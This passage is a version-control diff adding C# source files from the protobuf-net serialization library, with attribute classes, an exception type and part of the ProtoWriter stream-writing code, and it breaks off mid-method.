/// </summary>
|
||||
[AttributeUsage(AttributeTargets.Field, AllowMultiple = false)]
|
||||
public sealed class ProtoEnumAttribute : Attribute
|
||||
{
|
||||
/// <summary>
|
||||
/// Gets or sets the specific value to use for this enum during serialization.
|
||||
/// </summary>
|
||||
public int Value
|
||||
{
|
||||
get { return enumValue; }
|
||||
set { this.enumValue = value; hasValue = true; }
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Indicates whether this instance has a customised value mapping
|
||||
/// </summary>
|
||||
/// <returns>true if a specific value is set</returns>
|
||||
public bool HasValue() { return hasValue; }
|
||||
|
||||
private bool hasValue;
|
||||
private int enumValue;
|
||||
|
||||
/// <summary>
|
||||
/// Gets or sets the defined name of the enum, as used in .proto
|
||||
/// (this name is not used during serialization).
|
||||
/// </summary>
|
||||
public string Name { get { return name; } set { name = value; } }
|
||||
private string name;
|
||||
}
|
||||
}
|
|
@ -0,0 +1,30 @@
|
|||
using System;
|
||||
|
||||
#if REMOTING
|
||||
using System.Runtime.Serialization;
|
||||
#endif
|
||||
namespace ProtoBuf
|
||||
{
|
||||
/// <summary>
|
||||
/// Indicates an error during serialization/deserialization of a proto stream.
|
||||
/// </summary>
|
||||
#if REMOTING
|
||||
[ProtoContract]
|
||||
#endif
|
||||
public class ProtoException : Exception
|
||||
{
|
||||
/// <summary>Creates a new ProtoException instance.</summary>
|
||||
public ProtoException() { }
|
||||
|
||||
/// <summary>Creates a new ProtoException instance.</summary>
|
||||
public ProtoException(string message) : base(message) { }
|
||||
|
||||
/// <summary>Creates a new ProtoException instance.</summary>
|
||||
public ProtoException(string message, Exception innerException) : base(message, innerException) { }
|
||||
|
||||
#if REMOTING
|
||||
/// <summary>Creates a new ProtoException instance.</summary>
|
||||
protected ProtoException(SerializationInfo info, StreamingContext context) : base(info, context) { }
|
||||
#endif
|
||||
}
|
||||
}
|
|
@ -0,0 +1,40 @@
|
|||
using System;
|
||||
|
||||
namespace ProtoBuf
|
||||
{
|
||||
/// <summary>
|
||||
/// Indicates that a member should be excluded from serialization; this
|
||||
/// is only normally used when using implict fields.
|
||||
/// </summary>
|
||||
[AttributeUsage(AttributeTargets.Property | AttributeTargets.Field,
|
||||
AllowMultiple = false, Inherited = true)]
|
||||
public class ProtoIgnoreAttribute : Attribute {}
|
||||
|
||||
/// <summary>
|
||||
/// Indicates that a member should be excluded from serialization; this
|
||||
/// is only normally used when using implict fields. This allows
|
||||
/// ProtoIgnoreAttribute usage
|
||||
/// even for partial classes where the individual members are not
|
||||
/// under direct control.
|
||||
/// </summary>
|
||||
[AttributeUsage(AttributeTargets.Class,
|
||||
AllowMultiple = true, Inherited = false)]
|
||||
public class ProtoPartialIgnoreAttribute : ProtoIgnoreAttribute
|
||||
{
|
||||
/// <summary>
|
||||
/// Creates a new ProtoPartialIgnoreAttribute instance.
|
||||
/// </summary>
|
||||
/// <param name="memberName">Specifies the member to be ignored.</param>
|
||||
public ProtoPartialIgnoreAttribute(string memberName)
|
||||
: base()
|
||||
{
|
||||
if (Helpers.IsNullOrEmpty(memberName)) throw new ArgumentNullException("memberName");
|
||||
this.memberName = memberName;
|
||||
}
|
||||
/// <summary>
|
||||
/// The name of the member to be ignored.
|
||||
/// </summary>
|
||||
public string MemberName { get { return memberName; } }
|
||||
private readonly string memberName;
|
||||
}
|
||||
}
|
|
@ -0,0 +1,78 @@
|
|||
using System;
|
||||
using System.ComponentModel;
|
||||
|
||||
using ProtoBuf.Meta;
|
||||
#if FEAT_IKVM
|
||||
using Type = IKVM.Reflection.Type;
|
||||
using IKVM.Reflection;
|
||||
#else
|
||||
using System.Reflection;
|
||||
#endif
|
||||
namespace ProtoBuf
|
||||
{
|
||||
/// <summary>
|
||||
/// Indicates the known-types to support for an individual
|
||||
/// message. This serializes each level in the hierarchy as
|
||||
/// a nested message to retain wire-compatibility with
|
||||
/// other protocol-buffer implementations.
|
||||
/// </summary>
|
||||
[AttributeUsage(AttributeTargets.Class | AttributeTargets.Interface, AllowMultiple = true, Inherited = false)]
|
||||
public sealed class ProtoIncludeAttribute : Attribute
|
||||
{
|
||||
///<summary>
|
||||
/// Creates a new instance of the ProtoIncludeAttribute.
|
||||
/// </summary>
|
||||
/// <param name="tag">The unique index (within the type) that will identify this data.</param>
|
||||
/// <param name="knownType">The additional type to serialize/deserialize.</param>
|
||||
public ProtoIncludeAttribute(int tag, System.Type knownType)
|
||||
: this(tag, knownType == null ? "" : knownType.AssemblyQualifiedName) { }
|
||||
|
||||
/// <summary>
|
||||
/// Creates a new instance of the ProtoIncludeAttribute.
|
||||
/// </summary>
|
||||
/// <param name="tag">The unique index (within the type) that will identify this data.</param>
|
||||
/// <param name="knownTypeName">The additional type to serialize/deserialize.</param>
|
||||
public ProtoIncludeAttribute(int tag, string knownTypeName)
|
||||
{
|
||||
if (tag <= 0) throw new ArgumentOutOfRangeException("tag", "Tags must be positive integers");
|
||||
if (Helpers.IsNullOrEmpty(knownTypeName)) throw new ArgumentNullException("knownTypeName", "Known type cannot be blank");
|
||||
this.tag = tag;
|
||||
this.knownTypeName = knownTypeName;
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Gets the unique index (within the type) that will identify this data.
|
||||
/// </summary>
|
||||
public int Tag { get { return tag; } }
|
||||
private readonly int tag;
|
||||
|
||||
/// <summary>
|
||||
/// Gets the additional type to serialize/deserialize.
|
||||
/// </summary>
|
||||
public string KnownTypeName { get { return knownTypeName; } }
|
||||
private readonly string knownTypeName;
|
||||
|
||||
/// <summary>
|
||||
/// Gets the additional type to serialize/deserialize.
|
||||
/// </summary>
|
||||
public Type KnownType
|
||||
{
|
||||
get
|
||||
{
|
||||
return TypeModel.ResolveKnownType(KnownTypeName, null, null);
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Specifies whether the inherited sype's sub-message should be
|
||||
/// written with a length-prefix (default), or with group markers.
|
||||
/// </summary>
|
||||
[DefaultValue(DataFormat.Default)]
|
||||
public DataFormat DataFormat
|
||||
{
|
||||
get { return dataFormat; }
|
||||
set { dataFormat = value; }
|
||||
}
|
||||
private DataFormat dataFormat = DataFormat.Default;
|
||||
}
|
||||
}
|
|
@ -0,0 +1,231 @@
|
|||
using System;
|
||||
|
||||
#if FEAT_IKVM
|
||||
using Type = IKVM.Reflection.Type;
|
||||
using IKVM.Reflection;
|
||||
#else
|
||||
using System.Reflection;
|
||||
#endif
|
||||
|
||||
namespace ProtoBuf
|
||||
{
|
||||
/// <summary>
|
||||
/// Declares a member to be used in protocol-buffer serialization, using
|
||||
/// the given Tag. A DataFormat may be used to optimise the serialization
|
||||
/// format (for instance, using zigzag encoding for negative numbers, or
|
||||
/// fixed-length encoding for large values.
|
||||
/// </summary>
|
||||
[AttributeUsage(AttributeTargets.Property | AttributeTargets.Field,
|
||||
AllowMultiple = false, Inherited = true)]
|
||||
public class ProtoMemberAttribute : Attribute
|
||||
, IComparable
|
||||
#if !NO_GENERICS
|
||||
, IComparable<ProtoMemberAttribute>
|
||||
#endif
|
||||
|
||||
{
|
||||
/// <summary>
|
||||
/// Compare with another ProtoMemberAttribute for sorting purposes
|
||||
/// </summary>
|
||||
public int CompareTo(object other) { return CompareTo(other as ProtoMemberAttribute); }
|
||||
/// <summary>
|
||||
/// Compare with another ProtoMemberAttribute for sorting purposes
|
||||
/// </summary>
|
||||
public int CompareTo(ProtoMemberAttribute other)
|
||||
{
|
||||
if (other == null) return -1;
|
||||
if ((object)this == (object)other) return 0;
|
||||
int result = this.tag.CompareTo(other.tag);
|
||||
if (result == 0) result = string.CompareOrdinal(this.name, other.name);
|
||||
return result;
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Creates a new ProtoMemberAttribute instance.
|
||||
/// </summary>
|
||||
/// <param name="tag">Specifies the unique tag used to identify this member within the type.</param>
|
||||
public ProtoMemberAttribute(int tag) : this(tag, false)
|
||||
{ }
|
||||
|
||||
internal ProtoMemberAttribute(int tag, bool forced)
|
||||
{
|
||||
if (tag <= 0 && !forced) throw new ArgumentOutOfRangeException("tag");
|
||||
this.tag = tag;
|
||||
}
|
||||
|
||||
#if !NO_RUNTIME
|
||||
internal MemberInfo Member;
|
||||
internal bool TagIsPinned;
|
||||
#endif
|
||||
/// <summary>
|
||||
/// Gets or sets the original name defined in the .proto; not used
|
||||
/// during serialization.
|
||||
/// </summary>
|
||||
public string Name { get { return name; } set { name = value; } }
|
||||
private string name;
|
||||
|
||||
/// <summary>
|
||||
/// Gets or sets the data-format to be used when encoding this value.
|
||||
/// </summary>
|
||||
public DataFormat DataFormat { get { return dataFormat; } set { dataFormat = value; } }
|
||||
private DataFormat dataFormat;
|
||||
|
||||
/// <summary>
|
||||
/// Gets the unique tag used to identify this member within the type.
|
||||
/// </summary>
|
||||
public int Tag { get { return tag; } }
|
||||
private int tag;
|
||||
internal void Rebase(int tag) { this.tag = tag; }
|
||||
|
||||
/// <summary>
|
||||
/// Gets or sets a value indicating whether this member is mandatory.
|
||||
/// </summary>
|
||||
public bool IsRequired {
|
||||
get { return (options & MemberSerializationOptions.Required) == MemberSerializationOptions.Required; }
|
||||
set {
|
||||
if (value) options |= MemberSerializationOptions.Required;
|
||||
else options &= ~MemberSerializationOptions.Required;
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Gets a value indicating whether this member is packed.
|
||||
/// This option only applies to list/array data of primitive types (int, double, etc).
|
||||
/// </summary>
|
||||
public bool IsPacked
|
||||
{
|
||||
get { return (options & MemberSerializationOptions.Packed) == MemberSerializationOptions.Packed;}
|
||||
set {
|
||||
if (value) options |= MemberSerializationOptions.Packed;
|
||||
else options &= ~MemberSerializationOptions.Packed;
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Indicates whether this field should *repace* existing values (the default is false, meaning *append*).
|
||||
/// This option only applies to list/array data.
|
||||
/// </summary>
|
||||
public bool OverwriteList
|
||||
{
|
||||
get { return (options & MemberSerializationOptions.OverwriteList) == MemberSerializationOptions.OverwriteList; }
|
||||
set
|
||||
{
|
||||
if (value) options |= MemberSerializationOptions.OverwriteList;
|
||||
else options &= ~MemberSerializationOptions.OverwriteList;
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Enables full object-tracking/full-graph support.
|
||||
/// </summary>
|
||||
public bool AsReference
|
||||
{
|
||||
get { return (options & MemberSerializationOptions.AsReference) == MemberSerializationOptions.AsReference; }
|
||||
set
|
||||
{
|
||||
if (value) options |= MemberSerializationOptions.AsReference;
|
||||
else options &= ~MemberSerializationOptions.AsReference;
|
||||
|
||||
options |= MemberSerializationOptions.AsReferenceHasValue;
|
||||
}
|
||||
}
|
||||
|
||||
internal bool AsReferenceHasValue
|
||||
{
|
||||
get { return (options & MemberSerializationOptions.AsReferenceHasValue) == MemberSerializationOptions.AsReferenceHasValue; }
|
||||
set {
|
||||
if (value) options |= MemberSerializationOptions.AsReferenceHasValue;
|
||||
else options &= ~MemberSerializationOptions.AsReferenceHasValue;
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Embeds the type information into the stream, allowing usage with types not known in advance.
|
||||
/// </summary>
|
||||
public bool DynamicType
|
||||
{
|
||||
get { return (options & MemberSerializationOptions.DynamicType) == MemberSerializationOptions.DynamicType; }
|
||||
set
|
||||
{
|
||||
if (value) options |= MemberSerializationOptions.DynamicType;
|
||||
else options &= ~MemberSerializationOptions.DynamicType;
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Gets or sets a value indicating whether this member is packed (lists/arrays).
|
||||
/// </summary>
|
||||
public MemberSerializationOptions Options { get { return options; } set { options = value; } }
|
||||
private MemberSerializationOptions options;
|
||||
|
||||
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Additional (optional) settings that control serialization of members
|
||||
/// </summary>
|
||||
[Flags]
|
||||
public enum MemberSerializationOptions
|
||||
{
|
||||
/// <summary>
|
||||
/// Default; no additional options
|
||||
/// </summary>
|
||||
None = 0,
|
||||
/// <summary>
|
||||
/// Indicates that repeated elements should use packed (length-prefixed) encoding
|
||||
/// </summary>
|
||||
Packed = 1,
|
||||
/// <summary>
|
||||
/// Indicates that the given item is required
|
||||
/// </summary>
|
||||
Required = 2,
|
||||
/// <summary>
|
||||
/// Enables full object-tracking/full-graph support
|
||||
/// </summary>
|
||||
AsReference = 4,
|
||||
/// <summary>
|
||||
/// Embeds the type information into the stream, allowing usage with types not known in advance
|
||||
/// </summary>
|
||||
DynamicType = 8,
|
||||
/// <summary>
|
||||
/// Indicates whether this field should *repace* existing values (the default is false, meaning *append*).
|
||||
/// This option only applies to list/array data.
|
||||
/// </summary>
|
||||
OverwriteList = 16,
|
||||
/// <summary>
|
||||
/// Determines whether the types AsReferenceDefault value is used, or whether this member's AsReference should be used
|
||||
/// </summary>
|
||||
AsReferenceHasValue = 32
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Declares a member to be used in protocol-buffer serialization, using
|
||||
/// the given Tag and MemberName. This allows ProtoMemberAttribute usage
|
||||
/// even for partial classes where the individual members are not
|
||||
/// under direct control.
|
||||
/// A DataFormat may be used to optimise the serialization
|
||||
/// format (for instance, using zigzag encoding for negative numbers, or
|
||||
/// fixed-length encoding for large values.
|
||||
/// </summary>
|
||||
[AttributeUsage(AttributeTargets.Class,
|
||||
AllowMultiple = true, Inherited = false)]
|
||||
public class ProtoPartialMemberAttribute : ProtoMemberAttribute
|
||||
{
|
||||
/// <summary>
|
||||
/// Creates a new ProtoMemberAttribute instance.
|
||||
/// </summary>
|
||||
/// <param name="tag">Specifies the unique tag used to identify this member within the type.</param>
|
||||
/// <param name="memberName">Specifies the member to be serialized.</param>
|
||||
public ProtoPartialMemberAttribute(int tag, string memberName)
|
||||
: base(tag)
|
||||
{
|
||||
if (Helpers.IsNullOrEmpty(memberName)) throw new ArgumentNullException("memberName");
|
||||
this.memberName = memberName;
|
||||
}
|
||||
/// <summary>
|
||||
/// The name of the member to be serialized.
|
||||
/// </summary>
|
||||
public string MemberName { get { return memberName; } }
|
||||
private readonly string memberName;
|
||||
}
|
||||
}
|
File diff suppressed because it is too large
Load Diff
|
@ -0,0 +1,932 @@
|
|||
using System;
|
||||
|
||||
using System.IO;
|
||||
using System.Text;
|
||||
using ProtoBuf.Meta;
|
||||
#if MF
|
||||
using OverflowException = System.ApplicationException;
|
||||
#endif
|
||||
|
||||
#if FEAT_IKVM
|
||||
using Type = IKVM.Reflection.Type;
|
||||
#endif
|
||||
|
||||
namespace ProtoBuf
|
||||
{
|
||||
/// <summary>
|
||||
/// Represents an output stream for writing protobuf data.
|
||||
///
|
||||
/// Why is the API backwards (static methods with writer arguments)?
|
||||
/// See: http://marcgravell.blogspot.com/2010/03/last-will-be-first-and-first-will-be.html
|
||||
/// </summary>
|
||||
public sealed class ProtoWriter : IDisposable
|
||||
{
|
||||
private Stream dest;
|
||||
TypeModel model;
|
||||
/// <summary>
|
||||
/// Write an encapsulated sub-object, using the supplied unique key (reprasenting a type).
|
||||
/// </summary>
|
||||
/// <param name="value">The object to write.</param>
|
||||
/// <param name="key">The key that uniquely identifies the type within the model.</param>
|
||||
/// <param name="writer">The destination.</param>
|
||||
public static void WriteObject(object value, int key, ProtoWriter writer)
|
||||
{
|
||||
#if FEAT_IKVM
|
||||
throw new NotSupportedException();
|
||||
#else
|
||||
if (writer.model == null)
|
||||
{
|
||||
throw new InvalidOperationException("Cannot serialize sub-objects unless a model is provided");
|
||||
}
|
||||
|
||||
SubItemToken token = StartSubItem(value, writer);
|
||||
if (key >= 0)
|
||||
{
|
||||
writer.model.Serialize(key, value, writer);
|
||||
}
|
||||
else if (writer.model != null && writer.model.TrySerializeAuxiliaryType(writer, value.GetType(), DataFormat.Default, Serializer.ListItemTag, value, false))
|
||||
{
|
||||
// all ok
|
||||
}
|
||||
else
|
||||
{
|
||||
TypeModel.ThrowUnexpectedType(value.GetType());
|
||||
}
|
||||
EndSubItem(token, writer);
|
||||
#endif
|
||||
}
|
||||
/// <summary>
|
||||
/// Write an encapsulated sub-object, using the supplied unique key (reprasenting a type) - but the
|
||||
/// caller is asserting that this relationship is non-recursive; no recursion check will be
|
||||
/// performed.
|
||||
/// </summary>
|
||||
/// <param name="value">The object to write.</param>
|
||||
/// <param name="key">The key that uniquely identifies the type within the model.</param>
|
||||
/// <param name="writer">The destination.</param>
|
||||
public static void WriteRecursionSafeObject(object value, int key, ProtoWriter writer)
|
||||
{
|
||||
if (writer.model == null)
|
||||
{
|
||||
throw new InvalidOperationException("Cannot serialize sub-objects unless a model is provided");
|
||||
}
|
||||
SubItemToken token = StartSubItem(null, writer);
|
||||
writer.model.Serialize(key, value, writer);
|
||||
EndSubItem(token, writer);
|
||||
}
|
||||
internal static void WriteObject(object value, int key, ProtoWriter writer, PrefixStyle style, int fieldNumber)
|
||||
{
|
||||
#if FEAT_IKVM
|
||||
throw new NotSupportedException();
|
||||
#else
|
||||
if (writer.model == null)
|
||||
{
|
||||
throw new InvalidOperationException("Cannot serialize sub-objects unless a model is provided");
|
||||
}
|
||||
if (writer.wireType != WireType.None) throw ProtoWriter.CreateException(writer);
|
||||
|
||||
switch (style)
|
||||
{
|
||||
case PrefixStyle.Base128:
|
||||
writer.wireType = WireType.String;
|
||||
writer.fieldNumber = fieldNumber;
|
||||
if (fieldNumber > 0) WriteHeaderCore(fieldNumber, WireType.String, writer);
|
||||
break;
|
||||
case PrefixStyle.Fixed32:
|
||||
case PrefixStyle.Fixed32BigEndian:
|
||||
writer.fieldNumber = 0;
|
||||
writer.wireType = WireType.Fixed32;
|
||||
break;
|
||||
default:
|
||||
throw new ArgumentOutOfRangeException("style");
|
||||
}
|
||||
SubItemToken token = StartSubItem(value, writer, true);
|
||||
if (key < 0)
|
||||
{
|
||||
if (!writer.model.TrySerializeAuxiliaryType(writer, value.GetType(), DataFormat.Default, Serializer.ListItemTag, value, false))
|
||||
{
|
||||
TypeModel.ThrowUnexpectedType(value.GetType());
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
writer.model.Serialize(key, value, writer);
|
||||
}
|
||||
EndSubItem(token, writer, style);
|
||||
#endif
|
||||
}
|
||||
|
||||
internal int GetTypeKey(ref Type type)
|
||||
{
|
||||
return model.GetKey(ref type);
|
||||
}
|
||||
|
||||
private readonly NetObjectCache netCache = new NetObjectCache();
|
||||
internal NetObjectCache NetCache
|
||||
{
|
||||
get { return netCache;}
|
||||
}
|
||||
|
||||
private int fieldNumber, flushLock;
|
||||
WireType wireType;
|
||||
internal WireType WireType { get { return wireType; } }
|
||||
/// <summary>
|
||||
/// Writes a field-header, indicating the format of the next data we plan to write.
|
||||
/// </summary>
|
||||
public static void WriteFieldHeader(int fieldNumber, WireType wireType, ProtoWriter writer) {
|
||||
if (writer.wireType != WireType.None) throw new InvalidOperationException("Cannot write a " + wireType
|
||||
+ " header until the " + writer.wireType + " data has been written");
|
||||
if(fieldNumber < 0) throw new ArgumentOutOfRangeException("fieldNumber");
|
||||
#if DEBUG
|
||||
switch (wireType)
|
||||
{ // validate requested header-type
|
||||
case WireType.Fixed32:
|
||||
case WireType.Fixed64:
|
||||
case WireType.String:
|
||||
case WireType.StartGroup:
|
||||
case WireType.SignedVariant:
|
||||
case WireType.Variant:
|
||||
break; // fine
|
||||
case WireType.None:
|
||||
case WireType.EndGroup:
|
||||
default:
|
||||
throw new ArgumentException("Invalid wire-type: " + wireType, "wireType");
|
||||
}
|
||||
#endif
|
||||
if (writer.packedFieldNumber == 0) {
|
||||
writer.fieldNumber = fieldNumber;
|
||||
writer.wireType = wireType;
|
||||
WriteHeaderCore(fieldNumber, wireType, writer);
|
||||
}
|
||||
else if (writer.packedFieldNumber == fieldNumber)
|
||||
{ // we'll set things up, but note we *don't* actually write the header here
|
||||
switch (wireType)
|
||||
{
|
||||
case WireType.Fixed32:
|
||||
case WireType.Fixed64:
|
||||
case WireType.Variant:
|
||||
case WireType.SignedVariant:
|
||||
break; // fine
|
||||
default:
|
||||
throw new InvalidOperationException("Wire-type cannot be encoded as packed: " + wireType);
|
||||
}
|
||||
writer.fieldNumber = fieldNumber;
|
||||
writer.wireType = wireType;
|
||||
}
|
||||
else
|
||||
{
|
||||
throw new InvalidOperationException("Field mismatch during packed encoding; expected " + writer.packedFieldNumber + " but received " + fieldNumber);
|
||||
}
|
||||
}
|
||||
internal static void WriteHeaderCore(int fieldNumber, WireType wireType, ProtoWriter writer)
|
||||
{
|
||||
uint header = (((uint)fieldNumber) << 3)
|
||||
| (((uint)wireType) & 7);
|
||||
WriteUInt32Variant(header, writer);
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Writes a byte-array to the stream; supported wire-types: String
|
||||
/// </summary>
|
||||
public static void WriteBytes(byte[] data, ProtoWriter writer)
|
||||
{
|
||||
ProtoWriter.WriteBytes(data, 0, data.Length, writer);
|
||||
}
|
||||
/// <summary>
|
||||
/// Writes a byte-array to the stream; supported wire-types: String
|
||||
/// </summary>
|
||||
public static void WriteBytes(byte[] data, int offset, int length, ProtoWriter writer)
|
||||
{
|
||||
if (data == null) throw new ArgumentNullException("blob");
|
||||
|
||||
switch (writer.wireType)
|
||||
{
|
||||
case WireType.Fixed32:
|
||||
if (length != 4) throw new ArgumentException("length");
|
||||
goto CopyFixedLength; // ugly but effective
|
||||
case WireType.Fixed64:
|
||||
if (length != 8) throw new ArgumentException("length");
|
||||
goto CopyFixedLength; // ugly but effective
|
||||
case WireType.String:
|
||||
WriteUInt32Variant((uint)length, writer);
|
||||
writer.wireType = WireType.None;
|
||||
if (length == 0) return;
|
||||
if (writer.flushLock != 0 || length <= writer.ioBuffer.Length) // write to the buffer
|
||||
{
|
||||
goto CopyFixedLength; // ugly but effective
|
||||
}
|
||||
// writing data that is bigger than the buffer (and the buffer
|
||||
// isn't currently locked due to a sub-object needing the size backfilled)
|
||||
Flush(writer); // commit any existing data from the buffer
|
||||
// now just write directly to the underlying stream
|
||||
writer.dest.Write(data, offset, length);
|
||||
writer.position += length; // since we've flushed offset etc is 0, and remains
|
||||
// zero since we're writing directly to the stream
|
||||
return;
|
||||
}
|
||||
throw CreateException(writer);
|
||||
CopyFixedLength: // no point duplicating this lots of times, and don't really want another stackframe
|
||||
DemandSpace(length, writer);
|
||||
Helpers.BlockCopy(data, offset, writer.ioBuffer, writer.ioIndex, length);
|
||||
IncrementedAndReset(length, writer);
|
||||
}
|
||||
private static void CopyRawFromStream(Stream source, ProtoWriter writer)
|
||||
{
|
||||
byte[] buffer = writer.ioBuffer;
|
||||
int space = buffer.Length - writer.ioIndex, bytesRead = 1; // 1 here to spoof case where already full
|
||||
|
||||
// try filling the buffer first
|
||||
while (space > 0 && (bytesRead = source.Read(buffer, writer.ioIndex, space)) > 0)
|
||||
{
|
||||
writer.ioIndex += bytesRead;
|
||||
writer.position += bytesRead;
|
||||
space -= bytesRead;
|
||||
}
|
||||
if (bytesRead <= 0) return; // all done using just the buffer; stream exhausted
|
||||
|
||||
// at this point the stream still has data, but buffer is full;
|
||||
if (writer.flushLock == 0)
|
||||
{
|
||||
// flush the buffer and write to the underlying stream instead
|
||||
Flush(writer);
|
||||
while ((bytesRead = source.Read(buffer, 0, buffer.Length)) > 0)
|
||||
{
|
||||
writer.dest.Write(buffer, 0, bytesRead);
|
||||
writer.position += bytesRead;
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
do
|
||||
{
|
||||
// need more space; resize (double) as necessary,
|
||||
// requesting a reasonable minimum chunk each time
|
||||
// (128 is the minimum; there may actually be much
|
||||
// more space than this in the buffer)
|
||||
DemandSpace(128, writer);
|
||||
if((bytesRead = source.Read(writer.ioBuffer, writer.ioIndex,
|
||||
writer.ioBuffer.Length - writer.ioIndex)) <= 0) break;
|
||||
writer.position += bytesRead;
|
||||
writer.ioIndex += bytesRead;
|
||||
} while (true);
|
||||
}
|
||||
|
||||
}
|
||||
private static void IncrementedAndReset(int length, ProtoWriter writer)
|
||||
{
|
||||
Helpers.DebugAssert(length >= 0);
|
||||
writer.ioIndex += length;
|
||||
writer.position += length;
|
||||
writer.wireType = WireType.None;
|
||||
}
|
||||
int depth = 0;
|
||||
const int RecursionCheckDepth = 25;
|
||||
/// <summary>
|
||||
/// Indicates the start of a nested record.
|
||||
/// </summary>
|
||||
/// <param name="instance">The instance to write.</param>
|
||||
/// <param name="writer">The destination.</param>
|
||||
/// <returns>A token representing the state of the stream; this token is given to EndSubItem.</returns>
|
||||
public static SubItemToken StartSubItem(object instance, ProtoWriter writer)
|
||||
{
|
||||
return StartSubItem(instance, writer, false);
|
||||
}
|
||||
|
||||
MutableList recursionStack;
|
||||
private void CheckRecursionStackAndPush(object instance)
|
||||
{
|
||||
int hitLevel;
|
||||
if (recursionStack == null) { recursionStack = new MutableList(); }
|
||||
else if (instance != null && (hitLevel = recursionStack.IndexOfReference(instance)) >= 0)
|
||||
{
|
||||
#if DEBUG
|
||||
Helpers.DebugWriteLine("Stack:");
|
||||
foreach(object obj in recursionStack)
|
||||
{
|
||||
Helpers.DebugWriteLine(obj == null ? "<null>" : obj.ToString());
|
||||
}
|
||||
Helpers.DebugWriteLine(instance == null ? "<null>" : instance.ToString());
|
||||
#endif
|
||||
throw new ProtoException("Possible recursion detected (offset: " + (recursionStack.Count - hitLevel).ToString() + " level(s)): " + instance.ToString());
|
||||
}
|
||||
recursionStack.Add(instance);
|
||||
}
|
||||
private void PopRecursionStack() { recursionStack.RemoveLast(); }
|
||||
|
||||
private static SubItemToken StartSubItem(object instance, ProtoWriter writer, bool allowFixed)
|
||||
{
|
||||
if (++writer.depth > RecursionCheckDepth)
|
||||
{
|
||||
writer.CheckRecursionStackAndPush(instance);
|
||||
}
|
||||
if(writer.packedFieldNumber != 0) throw new InvalidOperationException("Cannot begin a sub-item while performing packed encoding");
|
||||
switch (writer.wireType)
|
||||
{
|
||||
case WireType.StartGroup:
|
||||
writer.wireType = WireType.None;
|
||||
return new SubItemToken(-writer.fieldNumber);
|
||||
case WireType.String:
|
||||
#if DEBUG
|
||||
if(writer.model != null && writer.model.ForwardsOnly)
|
||||
{
|
||||
throw new ProtoException("Should not be buffering data");
|
||||
}
|
||||
#endif
|
||||
writer.wireType = WireType.None;
|
||||
DemandSpace(32, writer); // make some space in anticipation...
|
||||
writer.flushLock++;
|
||||
writer.position++;
|
||||
return new SubItemToken(writer.ioIndex++); // leave 1 space (optimistic) for length
|
||||
case WireType.Fixed32:
|
||||
{
|
||||
if (!allowFixed) throw CreateException(writer);
|
||||
DemandSpace(32, writer); // make some space in anticipation...
|
||||
writer.flushLock++;
|
||||
SubItemToken token = new SubItemToken(writer.ioIndex);
|
||||
ProtoWriter.IncrementedAndReset(4, writer); // leave 4 space (rigid) for length
|
||||
return token;
|
||||
}
|
||||
default:
|
||||
throw CreateException(writer);
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Indicates the end of a nested record.
|
||||
/// </summary>
|
||||
/// <param name="token">The token obtained from StartubItem.</param>
|
||||
/// <param name="writer">The destination.</param>
|
||||
public static void EndSubItem(SubItemToken token, ProtoWriter writer)
|
||||
{
|
||||
EndSubItem(token, writer, PrefixStyle.Base128);
|
||||
}
|
||||
private static void EndSubItem(SubItemToken token, ProtoWriter writer, PrefixStyle style)
|
||||
{
|
||||
if (writer.wireType != WireType.None) { throw CreateException(writer); }
|
||||
int value = token.value;
|
||||
if (writer.depth <= 0) throw CreateException(writer);
|
||||
if (writer.depth-- > RecursionCheckDepth)
|
||||
{
|
||||
writer.PopRecursionStack();
|
||||
}
|
||||
writer.packedFieldNumber = 0; // ending the sub-item always wipes packed encoding
|
||||
if (value < 0)
|
||||
{ // group - very simple append
|
||||
WriteHeaderCore(-value, WireType.EndGroup, writer);
|
||||
writer.wireType = WireType.None;
|
||||
return;
|
||||
}
|
||||
|
||||
// so we're backfilling the length into an existing sequence
|
||||
int len;
|
||||
switch(style)
|
||||
{
|
||||
case PrefixStyle.Fixed32:
|
||||
len = (int)((writer.ioIndex - value) - 4);
|
||||
ProtoWriter.WriteInt32ToBuffer(len, writer.ioBuffer, value);
|
||||
break;
|
||||
case PrefixStyle.Fixed32BigEndian:
|
||||
len = (int)((writer.ioIndex - value) - 4);
|
||||
byte[] buffer = writer.ioBuffer;
|
||||
ProtoWriter.WriteInt32ToBuffer(len, buffer, value);
|
||||
// and swap the byte order
|
||||
byte b = buffer[value];
|
||||
buffer[value] = buffer[value + 3];
|
||||
buffer[value + 3] = b;
|
||||
b = buffer[value + 1];
|
||||
buffer[value + 1] = buffer[value + 2];
|
||||
buffer[value + 2] = b;
|
||||
break;
|
||||
case PrefixStyle.Base128:
|
||||
// string - complicated because we only reserved one byte;
|
||||
// if the prefix turns out to need more than this then
|
||||
// we need to shuffle the existing data
|
||||
len = (int)((writer.ioIndex - value) - 1);
|
||||
int offset = 0;
|
||||
uint tmp = (uint)len;
|
||||
while ((tmp >>= 7) != 0) offset++;
|
||||
if (offset == 0)
|
||||
{
|
||||
writer.ioBuffer[value] = (byte)(len & 0x7F);
|
||||
}
|
||||
else
|
||||
{
|
||||
DemandSpace(offset, writer);
|
||||
byte[] blob = writer.ioBuffer;
|
||||
Helpers.BlockCopy(blob, value + 1, blob, value + 1 + offset, len);
|
||||
tmp = (uint)len;
|
||||
do
|
||||
{
|
||||
blob[value++] = (byte)((tmp & 0x7F) | 0x80);
|
||||
} while ((tmp >>= 7) != 0);
|
||||
blob[value - 1] = (byte)(blob[value - 1] & ~0x80);
|
||||
writer.position += offset;
|
||||
writer.ioIndex += offset;
|
||||
}
|
||||
break;
|
||||
default:
|
||||
throw new ArgumentOutOfRangeException("style");
|
||||
}
|
||||
// and this object is no longer a blockage - also flush if sensible
|
||||
